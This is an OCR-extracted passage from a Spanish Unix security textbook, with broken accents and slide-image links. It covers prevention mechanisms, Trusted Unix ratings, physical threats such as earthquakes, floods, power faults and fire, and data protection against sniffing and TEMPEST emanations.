tro sistema, hemos de enfatizar en el uso de mecanismos de prevenci´n y de detecci´n; la m´xima
o o a
popular ‘m´s vale prevenir que curar’ se puede aplicar a la seguridad inform´tica: para nosotros,
a a
evitar un ataque, detectar un intento de violaci´n, o detectar una violaci´n exitosa inmediatamente
o o
despu´s de que ocurra es mucho m´s productivo y menos comprometedor para el sistema que
e a
6 Si adem´s los resultados se pretenden utilizar como pruebas ante un tribunal, se habla de Informatoscopia
a
([Gal96a]).](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-28-320.jpg)
![´
1.6. ¿COMO NOS PODEMOS PROTEGER? 11
SEGURIDAD
?
FIABILIDAD
ASPECTOS ELEMENTOS AMENAZAS MECANISMOS
Confidencialidad Hardware TIPOS ORIGEN Prevenci´n
o
Integridad Software Interrupci´n
o Personas Detecci´n
o
Disponibilidad Datos
Interceptaci´n
o Amenazas l´gicas
o Recuperaci´n
o
Modificaci´n
o Cat´strofes
a
Fabricaci´n
o
Figura 1.2: Visi´n global de la seguridad inform´tica
o a
restaurar el estado tras una penetraci´n de la m´quina. Es m´s, si consigui´ramos un sistema sin
o a a e
vulnerabilidades y cuya pol´
ıtica de seguridad se implementara mediante mecanismos de prevenci´no
de una forma completa, no necesitar´ ıamos mecanismos de detecci´n o recuperaci´n. Aunque esto
o o
es imposible de conseguir en la pr´ctica, ser´ en los mecanismos de detecci´n, y sobre todo en los
a a o
de prevenci´n, en los que centraremos nuestro trabajo.
o
Los mecanismos de prevenci´n m´s habituales en Unix y en redes son los siguientes ([Olo92]):
o a
• Mecanismos de autenticaci´n e identificaci´n
o o
Estos mecanismos hacen posible identificar entidades del sistema de una forma unica, y pos-
´
teriormente, una vez identificadas, autenticarlas (comprobar que la entidad es qui´n dice ser).
e
Son los mecanismos m´s importantes en cualquier sistema, ya que forman la base de otros
a
mecanismos que basan su funcionamiento en la identidad de las entidades que acceden a un
objeto.
Un grupo especialmente importante de estos mecanismos son los denominados Sistemas de
Autenticaci´n de Usuarios, a los que prestaremos una especial atenci´n por ser los m´s uti-
o o a
lizados en la pr´ctica.
a
• Mecanismos de control de acceso
Cualquier objeto del sistema ha de estar protegido mediante mecanismos de control de ac-
ceso, que controlan todos los tipos de acceso sobre el objeto por parte de cualquier entidad
del sistema. Dentro de Unix, el control de acceso m´s habitual es el discrecional (DAC,
a
Discretionary Access Control), implementado por los bits rwx y las listas de control de acceso
para cada fichero (objeto) del sistema; sin embargo, tambi´n se permiten especificar controles
e
de acceso obligatorio (MAC).
• Mecanismos de separaci´n
o
Cualquier sistema con diferentes niveles de seguridad ha de implementar mecanismos que
permitan separar los objetos dentro de cada nivel, evitando el flujo de informaci´n entre
o
objetos y entidades de diferentes niveles siempre que no exista una autorizaci´n expresa del
o
mecanismo de control de acceso.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-29-320.jpg)
![16 CAP´ ´
ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS
clientes de un proveedor (personalmente he conocido varios casos). S´lo tenemos un punto a nuestro
o
favor, si se puede considerar as´ hace un par de a˜os esas claves eran algo m´s o menos valioso
ı: n a
para un pirata, ya que con ellas consegu´ un acceso a Internet gratuito y – m´s importante – si
ıa a
dar ninguno de sus datos. Hoy en d´ y debido a empresas que ofrecen ese tipo de acceso – por
ıa,
ejemplo como Alehop, con unas contrase˜as gen´ricas y gratuitas para todo el mundo –, las claves
n e
de los clientes de un ISP no son algo tan codiciado.
1.8 ¿Seguridad en Unix?
En la d´cada de los ochenta para mucha gente el concepto de seguridad era algo inimaginable en
e
el entorno Unix: la facilidad con que un experto pod´ acceder a un sistema, burlar todos sus
ıa
mecanismos de protecci´n y conseguir el m´ximo nivel de privilegio era algo de sobra conocido por
o a
todos, por lo que nadie pod´ pensar en un sistema Unix seguro.
ıa
Afortunadamente, los tiempos han cambiado mucho desde entonces. Aunque en un principio y
seg´n uno de sus creadores, Unix no se dise˜´ para ser seguro ([Rit86]), a finales de los 80 se con-
u no
virti´ en el primer sistema operativo en alcanzar niveles de seguridad quasi militares ([HJAW88],
o
[Ser91]. . . ). En la actualidad se puede considerar el sistema operativo de prop´sito general m´s
o a
fiable del mercado; desde los clones habituales (Solaris, HP-UX, IRIX. . . ) hasta los ‘Trusted Unix’
(de los que hablaremos a continuaci´n), pasando por los sistemas gratuitos (Linux, FreeBSD. . . ),
o
cualquier entorno Unix puede ofrecer los mecanismos de seguridad suficientes para satisfacer las
necesidades de la mayor´ de instituciones. Los Unices habituales, como Solaris o Linux, son bas-
ıa
tante inseguros tal y como se instalan por defecto (out-of-the-box), como veremos a la hora de
hablar de la seguridad l´gica; esto significa que requieren de una m´
o ınima puesta a punto, en cuan-
to a seguridad se refiere, antes de ponerlos a trabajar con unas m´ ınimas garant´ de fiabilidad.
ıas
Una vez realizada esta puesta a punto suelen tener una seguridad aceptable en redes de prop´sito
o
general. El problema es que en muchas ocasiones se pone a trabajar a Unix tal y como se instala
por defecto, lo que convierte a cualquier sistema operativo, Unix o no, en un aut´ntico agujero en
e
cuanto a seguridad se refiere: cuentas sin password o con passwords por defecto, servicios abiertos,
sistemas de ficheros susceptibles de ser compartidos. . .
Dentro de la familia Unix existen una serie de sistemas denominados ‘Unix seguros’ o ‘Unix fiables’
(Trusted Unix); se trata de sistemas con excelentes sistemas de control, evaluados por la National
Security Agency (NSA) estadounidense y clasificados en niveles seguros (B o A) seg´n [B+ 85]. Entre
u
estos Unix seguros podemos encontrar AT&T System V/MLS y OSF/1 (B1), Trusted Xenix8 (B2)
y XTS-300 STOP 4.1 (B3), considerados los sistemas operativos m´s seguros del mundo (siempre
a
seg´n la NSA). La gran mayor´ de Unices (Solaris, AIX. . . ) est´n clasificados como C2, y algunos
u ıa a
otros, como Linux, se consideran sistemas C2 de facto: al no tener una empresa que pague el proceso
de evaluaci´n de la NSA no est´n catalogados, aunque puedan implementar todos los mecanismos
o a
de los sistemas C2.
A la vista de lo comentado en este punto, parece claro que Unix ha dejado de ser ese sistema
arcaico e inseguro de sus primeros tiempos para convertirse en el entorno de trabajo m´s fiable
a
dentro de la gama de sistemas operativos de prop´sito general; sin embargo, por alguna extra˜a
o n
raz´n, mucha gente tiende a considerar todav´ a los equipos Unix como amenazas en la red, espe-
o ıa
cialmente a los clones gratuitos como Linux o FreeBSD que habitualmente se ejecutan en PCs; el
hecho de que sean gratuitos no implica en ning´n momento que sean inestables, y mucho menos, in-
u
seguros: empresas tan importantes como Yahoo! (www.yahoo.com) o Citro¨n (www.citroen.com),
e
o el propio servicio postal de Estados Unidos utilizan estos entornos como servidores web o como
firewall en sus redes. No obstante, las pol´ıticas de marketing de ciertas empresas desarrolladoras
tienden a popularizar (y lamentablemente lo consiguen) ideas err´neas sobre la seguridad en Unix,
o
lo que motiva que algunas organizaciones intenten buscar sistemas alternativos, casi siempre susti-
tuyendo m´quinas Unix por entornos Windows NT o Windows 9x. No creo que haga falta hacer
a
comentarios sobre la seguridad de estos sistemas, por lo que no entraremos en detalles sobre ella;
8 Este sistema, de la compa˜´ Trusted Information Systems, Inc, obviamente no tiene nada que ver con el antiguo
nıa
Microsoft Xenix, de Microsoft Corporation](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-34-320.jpg)
![Cap´
ıtulo 2
Seguridad f´
ısica de los sistemas
2.1 Introducci´n
o
Seg´n [B+ 88], la seguridad f´
u ısica de los sistemas inform´ticos consiste en la aplicaci´n de barreras
a o
f´
ısicas y procedimientos de control como medidas de prevenci´n y contramedidas contra las ame-
o
nazas a los recursos y la informaci´n confidencial. M´s claramente, y particularizando para el caso
o a
de equipos Unix y sus centros de operaci´n, por ‘seguridad f´
o ısica’ podemos entender todas aquellas
mecanismos – generalmente de prevenci´n y detecci´n – destinados a proteger f´
o o ısicamente cualquier
recurso del sistema; estos recursos son desde un simple teclado hasta una cinta de backup con toda
la informaci´n que hay en el sistema, pasando por la propia cpu de la m´quina.
o a
Desgraciadamente, la seguridad f´ ısica es un aspecto olvidado con demasiada frecuencia a la hora de
hablar de seguridad inform´tica en general; en muchas organizaciones se suelen tomar medidas para
a
prevenir o detectar accesos no autorizados o negaciones de servicio, pero rara vez para prevenir la
acci´n de un atacante que intenta acceder f´
o ısicamente a la sala de operaciones o al lugar donde se
depositan las impresiones del sistema. Esto motiva que en determinadas situaciones un atacante
se decline por aprovechar vulnerabilidades f´ ısicas en lugar de l´gicas, ya que posiblemente le sea
o
m´s f´cil robar una cinta con una imagen completa del sistema que intentar acceder a ´l mediante
a a e
fallos en el software. Hemos de ser conscientes de que la seguridad f´ ısica es demasiado importante
como para ignorarla: un ladr´n que roba un ordenador para venderlo, un incendio o un pirata que
o
accede sin problemas a la sala de operaciones nos pueden hacer mucho m´s da˜o que un intruso
a n
que intenta conectar remotamente con una m´quina no autorizada; no importa que utilicemos los
a
m´s avanzados medios de cifrado para conectar a nuestros servidores, ni que hayamos definido una
a
pol´ıtica de firewalling muy restrictiva: si no tenemos en cuenta factores f´ ısicos, estos esfuerzos para
proteger nuestra informaci´n no van a servir de nada. Adem´s, en el caso de organismos con requer-
o a
imientos de seguridad medios, unas medidas de seguridad f´ ısicas ejercen un efecto disuasorio sobre
la mayor´ de piratas: como casi todos los atacantes de los equipos de estos entornos son casuales
ıa
(esto es, no tienen inter´s espec´
e ıfico sobre nuestros equipos, sino sobre cualquier equipo), si notan a
trav´s de medidas f´
e ısicas que nuestra organizaci´n est´ preocupada por la seguridad probablemente
o a
abandonar´n el ataque para lanzarlo contra otra red menos protegida.
a
Aunque como ya dijimos en la introducci´n este proyecto no puede centrarse en el dise˜o de edifi-
o n
cios resistentes a un terremoto o en la instalaci´n de alarmas electr´nicas, s´ que se van a intentar
o o ı
comentar ciertas medidas de prevenci´n y detecci´n que se han de tener en cuenta a la hora de
o o
definir mecanismos y pol´ ıticas para la seguridad de nuestros equipos. Pero hemos de recordar que
cada sitio es diferente, y por tanto tambi´n lo son sus necesidades de seguridad; de esta forma, no se
e
pueden dar recomendaciones espec´ ıficas sino pautas generales a tener en cuenta, que pueden variar
desde el simple sentido com´n (como es el cerrar con llave la sala de operaciones cuando salimos
u
de ella) hasta medidas mucho m´s complejas, como la prevenci´n de radiaciones electromagn´ticas
a o e
de los equipos o la utilizaci´n de degaussers. En entornos habituales suele ser suficiente con un
o
poco de sentido com´n para conseguir una m´
u ınima seguridad f´ ısica; de cualquier forma, en cada
instituci´n se ha de analizar el valor de lo que se quiere proteger y la probabilidad de las amenazas
o
potenciales, para en funci´n de los resultados obtenidos dise˜ar un plan de seguridad adecuado.
o n](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-39-320.jpg)
![24 CAP´
ITULO 2. SEGURIDAD F´
ISICA DE LOS SISTEMAS
habituales suelen conocerse entre ellos y es f´cil detectar personas ajenas al entorno.
a
2.2.2 Desastres naturales
En el anterior punto hemos hecho referencia a accesos f´ ısicos no autorizados a zonas o a elementos
que pueden comprometer la seguridad de los equipos o de toda la red; sin embargo, no son estas las
unicas amenazas relacionadas con la seguridad f´
´ ısica. Un problema que no suele ser tan habitual,
pero que en caso de producirse puede acarrear grav´ ısimas consecuencias, es el derivado de los
desastres naturales y su (falta de) prevenci´n.
o
Terremotos
Los terremotos son el desastre natural menos probable en la mayor´ de organismos ubicados en
ıa
Espa˜a, simplemente por su localizaci´n geogr´fica: no nos encontramos en una zona donde se
n o a
suelan producir temblores de intensidad considerable; incluso en zonas del sur de Espa˜a, como
n
Almer´ donde la probabilidad de un temblor es m´s elevada, los terremotos no suelen alcanzan la
ıa, a
magnitud necesaria para causar da˜os en los equipos. Por tanto, no se suelen tomar medidas serias
n
contra los movimientos s´ısmicos, ya que la probabilidad de que sucedan es tan baja que no merece
la pena invertir dinero para minimizar sus efectos.
De cualquier forma, aunque algunas medidas contra terremotos son excesivamente caras para la
mayor parte de organizaciones en Espa˜a (evidentemente ser´ igual de caras en zonas como Los
n ıan
´
Angeles, pero all´ el coste estar´ justificado por la alta probabilidad de que se produzcan movimien-
ı ıa
tos de magnitud considerable), no cuesta nada tomar ciertas medidas de prevenci´n; por ejemplo,
o
es muy recomendable no situar nunca equipos delicados en superficies muy elevadas (aunque tam-
poco es bueno situarlos a ras de suelo, como veremos al hablar de inundaciones). Si lo hacemos,
un peque˜o temblor puede tirar desde una altura considerable un complejo hardware, lo que con
n
toda probabilidad lo inutilizar´; puede incluso ser conveniente (y barato) utilizar fijaciones para los
a
elementos m´s cr´
a ıticos, como las CPUs, los monitores o los routers. De la misma forma, tampoco
es recomendable situar objetos pesados en superficies altas cercanas a los equipos, ya que si lo que
cae son esos objetos tambi´n da˜ar´n el hardware.
e n a
Para evitar males mayores ante un terremoto, tambi´n es muy importante no situar equipos cerca
e
de las ventanas: si se produce un temblor pueden caer por ellas, y en ese caso la p´rdida de datos o
e
hardware pierde importancia frente a los posibles accidentes – incluso mortales – que puede causar
una pieza voluminosa a las personas a las que les cae encima. Adem´s, situando los equipos alejados
a
de las ventanas estamos dificultando las acciones de un potencial ladr´n que se descuelgue por la
o
fachada hasta las ventanas, ya que si el equipo estuviera cerca no tendr´ m´s que alargar el brazo
ıa a
para llev´rselo.
a
Quiz´s hablar de terremotos en un trabajo dedicado a sistemas ‘normales’ especialmente centr´ndo-
a a
nos en lugares con escasa actividad s´ ısmica – como es Espa˜a y m´s concretamente la Comunidad
n a
Valenciana – pueda resultar incluso gracioso, o cuanto menos exagerado. No obstante, no debemos
entender por terremotos unicamente a los grandes desastres que derrumban edificios y destrozan
´
v´ de comunicaci´n; quiz´s ser´ mas apropiado hablar incluso de vibraciones, desde las m´s
ıas o a ıa a
grandes (los terremotos) hasta las m´s peque˜as (un simple motor cercano a los equipos). Las vibra-
a n
ciones, incluso las m´s imperceptibles, pueden da˜ar seriamente cualquier elemento electr´nico de
a n o
nuestras m´quinas, especialmente si se trata de vibraciones cont´
a ınuas: los primeros efectos pueden
ser problemas con los cabezales de los discos duros o con los circuitos integrados que se da˜an en
n
las placas. Para hacer frente a peque˜as vibraciones podemos utilizar plataformas de goma donde
n
situar a los equipos, de forma que la plataforma absorba la mayor parte de los movimientos; in-
cluso sin llegar a esto, una regla com´n es evitar que entren en contacto equipos que poseen una
u
electr´nica delicada con hardware m´s mec´nico, como las impresoras: estos dispositivos no paran
o a a
de generar vibraciones cuando est´n en funcionamiento, por lo que situar una peque˜a impresora
a n
encima de la CPU de una m´quina es una idea nefasta. Como dicen algunos expertos en seguridad
a
([GS96]), el espacio en la sala de operaciones es un problema sin importancia comparado con las
consecuencias de fallos en un disco duro o en la placa base de un ordenador.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-42-320.jpg)
![26 CAP´
ITULO 2. SEGURIDAD F´
ISICA DE LOS SISTEMAS
l´
ıquido o bien por los cortocircuitos que genera en los sistemas electr´nicos.
o
Evidentemente, contra las inundaciones las medidas m´s efectivas son las de prevenci´n (frente
a o
a las de detecci´n); podemos utilizar detectores de agua en los suelos o falsos suelos de las salas
o
de operaciones, y apagar autom´ticamente los sistemas en caso de que se activen. Tras apagar
a
los sistemas podemos tener tambi´n instalado un sistema autom´tico que corte la corriente: algo
e a
muy com´n es intentar sacar los equipos – previamente apagados o no – de una sala que se est´
u a
empezando a inundar; esto, que a primera vista parece lo l´gico, es el mayor error que se puede
o
cometer si no hemos desconectado completamente el sistema el´ctrico, ya que la mezcla de corri-
e
ente y agua puede causar incluso la muerte a quien intente salvar equipos. Por muy caro que sea el
hardware o por muy valiosa que sea la informaci´n a proteger, nunca ser´n magnitudes comparables
o a
a lo que supone la p´rdida de vidas humanas. Otro error com´n relacionado con los detectores de
e u
agua es situar a los mismos a un nivel superior que a los propios equipos a salvaguardar (¡incluso
en el techo, junto a los detectores de humo!); evidentemente, cuando en estos casos el agua llega al
detector poco se puede hacer ya por las m´quinas o la informaci´n que contienen.
a o
Medidas de protecci´n menos sofisticadas pueden ser la instalaci´n de un falso suelo por enci-
o o
ma del suelo real, o simplemente tener la precauci´n de situar a los equipos con una cierta elevaci´n
o o
respecto al suelo, pero sin llegar a situarlos muy altos por los problemas que ya hemos comentado
al hablar de terremotos y vibraciones.
2.2.3 Desastres del entorno
Electricidad
Quiz´s los problemas derivados del entorno de trabajo m´s frecuentes son los relacionados con el
a a
sistema el´ctrico que alimenta nuestros equipos; cortocircuitos, picos de tensi´n, cortes de flujo. . . a
e o
diario amenazan la integridad tanto de nuestro hardware como de los datos que almacena o que
circulan por ´l.
e
El problema menos com´n en las instalaciones modernas son las subidas de tensi´n, conocidas
u o
como ‘picos’ porque generalmente duran muy poco: durante unas fracciones de segundo el voltaje
que recibe un equipo sube hasta sobrepasar el l´ımite aceptable que dicho equipo soporta. Lo normal
es que estos picos apenas afecten al hardware o a los datos gracias a que en la mayor´ de equipos
ıa
hay instalados fusibles, elementos que se funden ante una subida de tensi´n y dejan de conducir la
o
corriente, provocando que la m´quina permanezca apagada. Disponga o no de fusibles el equipo a
a
proteger (lo normal es que s´ los tenga) una medida efectiva y barata es utilizar tomas de tierra para
ı
asegurar a´n m´s la integridad; estos mecanismos evitan los problemas de sobretensi´n desviando
u a o
el exceso de corriente hacia el suelo de una sala o edificio, o simplemente hacia cualquier lugar con
voltaje nulo. Una toma de tierra sencilla puede consistir en un buen conductor conectado a los
chasis de los equipos a proteger y a una barra maciza, tambi´n conductora, que se introduce lo m´s
e a
posible en el suelo; el coste de la instalaci´n es peque˜o, especialmente si lo comparamos con las
o n
p´rdidas que supondr´ un incendio que afecte a todos o a una parte de nuestros equipos.
e ıa
Incluso teniendo un sistema protegido con los m´todos anteriores, si la subida de tensi´n dura
e o
demasiado, o si es demasiado r´pida, podemos sufrir da˜os en los equipos; existen acondicionadores
a n
de tensi´n comerciales que protegen de los picos hasta en los casos m´s extremos, y que tambi´n se
o a e
utilizan como filtros para ruido el´ctrico. Aunque en la mayor´ de situaciones no es necesario su
e ıa
uso, si nuestra organizaci´n tiene problemas por el voltaje excesivo quiz´s sea conveniente instalar
o a
alguno de estos aparatos.
Un problema que los estabilizadores de tensi´n o las tomas de tierra no pueden solucionar es
o
justamente el contrario a las subidas de tensi´n: las bajadas, situaciones en las que la corriente
o
desciende por debajo del voltaje necesario para un correcto funcionamiento del sistema, pero sin
llegar a ser lo suficientemente bajo para que la m´quina se apague ([SBL90]). En estas situaciones
a
la m´quina se va a comportar de forma extra˜a e incorrecta, por ejemplo no aceptando algunas
a n
instrucciones, no completando escrituras en disco o memoria, etc. Es una situaci´n similar a la de
o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-44-320.jpg)
![28 CAP´
ITULO 2. SEGURIDAD F´
ISICA DE LOS SISTEMAS
Incendios y humo
Una causa casi siempre relacionada con la electricidad son los incendios, y con ellos el humo; aunque
la causa de un fuego puede ser un desastre natural, lo habitual en muchos entornos es que el mayor
peligro de incendio provenga de problemas el´ctricos por la sobrecarga de la red debido al gran
e
n´mero de aparatos conectados al tendido. Un simple cortocircuito o un equipo que se calienta
u
demasiado pueden convertirse en la causa directa de un incendio en el edificio, o al menos en la
planta, donde se encuentran invertidos millones de pesetas en equipamiento.
Un m´todo efectivo contra los incendios son los extintores situados en el techo, que se activan
e
autom´ticamente al detectar humo o calor. Algunos de ellos, los m´s antiguos, utilizaban agua
a a
para apagar las llamas, lo que provocaba que el hardware no llegara a sufrir los efectos del fuego
si los extintores se activaban correctamente, pero que quedara destrozado por el agua expulsada.
Visto este problema, a mitad de los ochenta se comenzaron a utilizar extintores de hal´n; este
o
compuesto no conduce electricidad ni deja residuos, por lo que resulta ideal para no da˜ar losn
equipos. Sin embargo, tambi´n el hal´n presentaba problemas: por un lado, resulta excesivamente
e o
contaminante para la atm´sfera, y por otro puede axfisiar a las personas a la vez que acaba con el
o
fuego. Por eso se han sustituido los extintores de hal´n (aunque se siguen utilizando mucho hoy en
o
d´ por extintores de di´xido de carbono, menos contaminante y menos perjudicial. De cualquier
ıa) o
forma, al igual que el hal´n el di´xido de carbono no es precisamente sano para los humanos, por
o o
lo que antes de activar el extintor es conveniente que todo el mundo abandone la sala; si se trata de
sistemas de activaci´n autom´tica suelen avisar antes de expulsar su compuesto mediante un pitido.
o a
Aparte del fuego y el calor generado, en un incendio existe un tercer elemento perjudicial para
los equipos: el humo, un potente abrasivo que ataca especialmente los discos magn´ticos y ´pticos.
e o
Quiz´s ante un incendio el da˜o provocado por el humo sea insignificante en comparaci´n con el
a n o
causado por el fuego y el calor, pero hemos de recordar que puede existir humo sin necesidad de que
haya un fuego: por ejemplo, en salas de operaciones donde se fuma. Aunque muchos no apliquemos
esta regla y fumemos demasiado – siempre es demasiado – delante de nuestros equipos, ser´ con-
ıa
veniente no permitir esto; aparte de la suciedad generada que se deposita en todas las partes de un
ordenador, desde el teclado hasta el monitor, generalmente todos tenemos el cenicero cerca de los
equipos, por lo que el humo afecta directamente a todos los componentes; incluso al ser algo m´s a
habitual que un incendio, se puede considerar m´s perjudicial – para los equipos y las personas –
a
el humo del tabaco que el de un fuego.
En muchos manuales de seguridad se insta a los usuarios, administradores, o al personal en general
a intentar controlar el fuego y salvar el equipamiento; esto tiene, como casi todo, sus pros y sus
contras. Evidentemente, algo l´gico cuando estamos ante un incendio de peque˜as dimensiones es
o n
intentar utilizar un extintor para apagarlo, de forma que lo que podr´ haber sido una cat´strofe
ıa a
sea un simple susto o un peque˜o accidente. Sin embargo, cuando las dimensiones de las llamas son
n
considerables lo ultimo que debemos hacer es intentar controlar el fuego nosotros mismos, arries-
´
gando vidas para salvar hardware; como suced´ en el caso de inundaciones, no importa el precio
ıa
de nuestros equipos o el valor de nuestra informaci´n: nunca ser´n tan importantes como una vida
o a
humana. Lo m´s recomendable en estos casos es evacuar el lugar del incendio y dejar su control en
a
manos de personal especializado.
Temperaturas extremas
No hace falta ser un genio para comprender que las temperaturas extremas, ya sea un calor excesi-
vo o un frio intenso, perjudican gravemente a todos los equipos. Es recomendable que los equipos
operen entre 10 y 32 grados Celsius ([GS96]), aunque peque˜as variaciones en este rango tampoco
n
han de influir en la mayor´ de sistemas.
ıa
Para controlar la temperatura ambiente en el entorno de operaciones nada mejor que un acondi-
cionador de aire, aparato que tambi´n influir´ positivamente en el rendimiento de los usuar-
e a
ios (las personas tambi´n tenemos rangos de temperaturas dentro de los cuales trabajamos m´s
e a
c´modamente). Otra condici´n b´sica para el correcto funcionamiento de cualquier equipo que ´ste
o o a e
se encuentre correctamente ventilado, sin elementos que obstruyan los ventiladores de la CPU. La](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-46-320.jpg)
![´
2.3. PROTECCION DE LOS DATOS 29
organizaci´n f´
o ısica del computador tambi´n es decisiva para evitar sobrecalentamientos: si los dis-
e
cos duros, elementos que pueden alcanzar temperaturas considerables, se encuentran excesivamente
cerca de la memoria RAM, es muy probable que los m´dulos acaben quem´ndose.
o a
2.3 Protecci´n de los datos
o
La seguridad f´ ısica tambi´n implica una protecci´n a la informaci´n de nuestro sistema, tanto a
e o o
la que est´ almacenada en ´l como a la que se transmite entre diferentes equipos. Aunque los
a e
apartados comentados en la anterior secci´n son aplicables a la protecci´n f´
o o ısica de los datos (ya
que no olvidemos que si protegemos el hardware tambi´n protegemos la informaci´n que se almacena
e o
o se transmite por ´l), hay ciertos aspectos a tener en cuenta a la hora de dise˜ar una pol´
e n ıtica de
seguridad f´
ısica que afectan principalmente, aparte de a los elementos f´
ısicos, a los datos de nuestra
organizaci´n; existen ataques cuyo objetivo no es destruir el medio f´
o ısico de nuestro sistema, sino
simplemente conseguir la informaci´n almacenada en dicho medio.
o
2.3.1 Eavesdropping
La interceptaci´n o eavesdropping, tambi´n conocida por passive wiretapping ([CES91]) es un pro-
o e
ceso mediante el cual un agente capta informaci´n – en claro o cifrada – que no le iba dirigida; esta
o
captaci´n puede realizarse por much´
o ısimos medios (por ejemplo, capturando las radiaciones elec-
tromagn´ticas, como veremos luego). Aunque es en principio un ataque completamente pasivo, lo
e
m´s peligroso del eavesdropping es que es muy dif´ de detectar mientras que se produce, de forma
a ıcil
que un atacante puede capturar informaci´n privilegiada y claves para acceder a m´s informaci´n
o a o
sin que nadie se de cuenta hasta que dicho atacante utiliza la informaci´n capturada, convirtiendo
o
el ataque en activo.
Un medio de interceptaci´n bastante habitual es el sniffing, consistente en capturar tramas que
o
circulan por la red mediante un programa ejecut´ndose en una m´quina conectada a ella o bien
a a
mediante un dispositivo que se engancha directamente el cableado4 . Estos dispositivos, denomina-
dos sniffers de alta impedancia, se conectan en paralelo con el cable de forma que la impedancia
total del cable y el aparato es similar a la del cable solo, lo que hace dif´ su detecci´n. Contra
ıcil o
estos ataques existen diversas soluciones; la m´s barata a nivel f´
a ısico es no permitir la existencia
de segmentos de red de f´cil acceso, lugares id´neos para que un atacante conecte uno de estos
a o
aparatos y capture todo nuestro tr´fico. No obstante esto resulta dif´ en redes ya instaladas,
a ıcil
donde no podemos modificar su arquitectura; en estos existe una soluci´n generalmente gratuita
o
pero que no tiene mucho que ver con el nivel f´ ısico: el uso de aplicaciones de cifrado para realizar
las comunicaciones o el almacenamiento de la informaci´n (hablaremos m´s adelante de algunas de
o a
ellas). Tampoco debemos descuidar las tomas de red libres, donde un intruso con un portatil puede
conectarse para capturar tr´fico; es recomendable analizar regularmente nuestra red para verificar
a
que todas las m´quinas activas est´n autorizadas.
a a
Como soluciones igualmente efectivas contra la interceptaci´n a nivel f´
o ısico podemos citar el uso de
dispositivos de cifra (no simples programas, sino hardware), generalmente chips que implementan
algoritmos como des; esta soluci´n es muy poco utilizada en entornos de I+D, ya que es much´
o ısimo
m´s cara que utilizar implementaciones software de tales algoritmos y en muchas ocasiones la unica
a ´
diferencia entre los programas y los dispositivos de cifra es la velocidad. Tambi´n se puede utilizar,
e
como soluci´n m´s cara, el cableado en vac´ para evitar la interceptaci´n de datos que viajan por
o a ıo o
la red: la idea es situar los cables en tubos donde artificialmente se crea el vac´ o se inyecta aire a
ıo
presi´n; si un atacante intenta ‘pinchar’ el cable para interceptar los datos, rompe el vac´ o el nivel
o ıo
de presi´n y el ataque es detectado inmediatamente. Como decimos, esta soluci´n es enormemente
o o
cara y s´lamente se aplica en redes de per´
o ımetro reducido para entornos de alta seguridad.
Antes de finalizar este punto debemos recordar un peligro que muchas veces se ignora: el de la
interceptaci´n de datos emitidos en forma de sonido o simple ruido en nuestro entorno de opera-
o
ciones. Imaginemos una situaci´n en la que los responsables de la seguridad de nuestra organizaci´n
o o
4 En este caso tambi´n se suele llamar a esta actividad wiretapping.
e](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-47-320.jpg)
![32 CAP´
ITULO 2. SEGURIDAD F´
ISICA DE LOS SISTEMAS
papel, dispositivo que dificulta much´
ısimo la reconstrucci´n y lectura de un documento destruido;
o
por poco dinero podemos conseguir uno de estos aparatos, que suele ser suficiente para acabar con
cantidades moderadas de papel.
2.4 Radiaciones electromagn´ticas
e
Dentro del apartado 2.3.1 pod´ ıamos haber hablado del acceso no autorizado a los datos a trav´s e
de las radiaciones que el hardware emite; sin embargo, este es un tema que ha cobrado especial
importancia (especialmente en organismos militares) a ra´ del programa tempest, un t´rmino
ız e
(Transient ElectroMagnetic Pulse Emanation STandard) que identifica una serie de est´ndares del
a
gobierno estadounidense para limitar las radiaciones el´ctricas y electromagn´ticas del equipamien-
e e
to electr´nico, desde estaciones de trabajo hasta cables de red, pasando por terminales, mainframes,
o
ratones. . .
La idea es sencilla: la corriente que circula por un conductor provoca un campo electromagn´ticoe
alrededor del conductor, campo que var´ de la misma forma que lo hace la intensidad de la cor-
ıa
riente. Si situamos otro conductor en ese campo, sobre ´l se induce una se˜al que tambi´n var´
e n e ıa
proporcionalmente a la intensidad de la corriente inicial; de esta forma, cualquier dispositivo elec-
tr´nico (no s´lo el inform´tico) emite cont´
o o a ınuamente radiaciones a trav´s del aire o de conductores,
e
radiaciones que con el equipo adecuado se pueden captar y reproducir remotamente con la con-
siguiente amenaza a la seguridad que esto implica. Conscientes de este problema – obviamente las
emisiones de una batidora no son peligrosas para la seguridad, pero s´ que lo pueden ser las de
ı
un dipositivo de cifrado o las de un teclado desde el que se env´ mensajes confidenciales – en la
ıen
d´cada de los 50 el gobierno de Estados Unidos introdujo una serie de est´ndares para reducir estas
e a
radiaciones en los equipos destinados a almacenar, procesar o transmitir informaci´n que pudiera
o
comprometer la seguridad nacional. De esta forma, el hardware certificado tempest se suele usar
con la informaci´n clasificada y confidencial de algunos sistemas gubernamentales para asegurar
o
que el eavesdropping electromagn´tico no va a afectar a privacidad de los datos.
e
Casi medio siglo despu´s de las primeras investigaciones sobre emanaciones de este tipo, casi to-
e
dos los paises desarrollados y organizaciones militares internacionales tienen programas similares a
tempest con el mismo fin: proteger informaci´n confidencial. Para los gobiernos, esto es algo reser-
o
vado a informaciones militares, nunca a organizaciones ‘normales’ y mucho menos a particulares (la
NRO, National Reconnaissance Office, elimin´ en 1992 los est´ndares tempest para dispositivos
o a
de uso dom´stico); sin embargo, y como ejemplo – algo extremo quiz´s – de hasta que punto un
e a
potencial atacante puede llegar a comprometer la informaci´n que circula por una red o que se
o
lee en un monitor, vamos a dar aqu´ unas nociones generales sobre el problema de las radiaciones
ı
electromagn´ticas.
e
Existen numerosos tipos de se˜ales electromagn´ticas; sin duda las m´s peligrosas son las de video y
n e a
las de transmisi´n serie, ya que por sus caracter´
o ısticas no es dif´ interceptarlas con el equipamien-
ıcil
